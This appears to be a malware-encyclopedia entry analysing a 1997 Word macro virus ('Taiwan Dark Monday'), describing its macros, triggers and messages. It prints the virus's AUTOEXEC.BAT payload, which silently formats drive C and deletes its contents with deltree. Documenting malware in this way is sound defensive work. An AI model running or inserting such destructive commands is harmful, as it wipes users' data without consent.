Virus.MSWord.Sam

0 0

This is a very dangerous Chinese specific encrypted macro-virus. It contains seven macros: AutoOpen, AutoExec, AutoNew, FileSaveAs, ToolsMacro, FileTemplates, and Monday.

The virus infects the system and documents upon AutoNew, AutoOpen and FileSaveAs calls. It contains the following comments:

Created by Samuel Lin
Latest Date Feb 8 '97

On Mondays at 10:00, the virus overwrites the C:\AUTOEXEC.BAT file with the following commands:

@echo off
cls
echo HAVE A GOOD TIME
echo               --Taiwan Dark Monday--
echo y|format c: /u /v:MONDAY >nul
deltree /y c: >nul

Then it displays the MessageBox:

Taiwan Dark Monday
Today is Monday, do you work hard?
It's tea time now!
Let's go out and have some fun...

On Mondays with the date 13t, it deletes the C:\WINDOWS\*.INI files and displays the following Message Box:

It Is Dark Monday...

On Mondays on any another date, the virus clears the contents of the current document and displays the following Message Box:

Taiwan Dark Monday
Today is Monday, did you work hard?
Let's take a rest and have some fun... :-)

Upon FileTemplates calls, the virus erases the current document and displays the following Message Box:

Taiwan Dark Monday
Go ahead!  Make my day! ! !

It then inserts the text "TAIWAN DARK MONDAY" into the current document and prints it.

Upon ToolsMacro calls, the virus sets the password "Samuel" to the current document, then displays the following Message Box:

Taiwan Dark Monday
You may insert password to access here... ^_^

and waits for "Samuel" input. In case of wrong string, the virus displays:

Taiwan Dark Monday
WRONG PASSWORD!!!
You don't have right to execute this macro command!! :P
Access Denied!!!